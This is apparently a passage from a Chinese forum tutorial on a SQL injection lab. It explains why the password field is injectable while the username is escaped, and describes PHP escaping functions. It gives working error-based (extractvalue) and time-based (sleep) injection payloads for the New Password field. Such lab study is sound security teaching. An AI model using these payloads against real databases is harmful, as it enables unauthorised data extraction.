    可以看到'admin''说明在对New Password的处理过程中使用的是''。

    这里我用报错盲注来注入。

    用户名输入admin,New Password输入1'and extractvalue(1,concat(0x7e,(select database()),0x7e))#

    这里有如下报错,直接爆出库名了:XPATH syntax error: '~security~'

    这里也可以用延时盲注来注入:

    用户名输入admin,New Password输入1'and if(ascii(substr(database(),1,1))=116,1,sleep(5))#

    现在在回过头来细讲源码里为什么先进行一次select语句,却不从username处构造payload,因为username这个输入框做了严格限制:在源代码中有用到check_input()这一函数,它对username进行各种转义的处理,所以此处不能使用username进行注入,而passwd没有使用。

    $uname=check_input($_POST['uname']);  
    
    $passwd=$_POST['passwd'];

    下面再介绍几个函数:

    1.addslashes()函数:(PHP 4, PHP 5)

    addslashes — 返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜杠(\)与 NULL( NULL  字符)。

    该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

    注意:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。还需要注意的地方在Less-33有专门提到。

    语法:addslashes(string)

    其中string是必需的,规定要转义的字符串。

    2.stripslashes()函数:(PHP 4, PHP 5)

    返回一个去除转义反斜杠后的字符串(\'转换为 '等等)。双反斜杠(\\)被转换为单个反斜杠(\)。 简单来说就是该函数删除由addslashes()函数添加的反斜杠。

    注意:如果magic_quotes_sybase 项开启,反斜线将被去除,但是两个反斜线将会被替换成一个。magic_quotes_sybase 详细可看这里:magic_quotes_gpc, magic_quotes_runtime 和 magic_quotes_sybase

    3.mysql_real_escape_string()函数:(PHP 4 >= 4.3.0, PHP 5)

    该函数转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集,因此可以安全用于mysql_query()。这些字符会受到影响:

    \x00\n\r\'"\x1a   。

    如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

    语法:mysql_real_escape_string(string,connection)

    其中string是必需的,规定要转义的字符串;connection是可选的,规定 MySQL 连接。如果未规定,则使用上一个连接。

    4.mysql_escape_string()函数:(PHP 4 >= 4.0.3, PHP 5, 注意:在PHP5.3中已经弃用这种方法,不推荐使用)

    本函数和 mysql_real_escape_string() 完全一样,除了 mysql_real_escape_string() 接受的是一个连接句柄并根据当前字符集转移字符串之外。mysql_escape_string() 并不接受连接参数,也不管当前字符集设定。

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册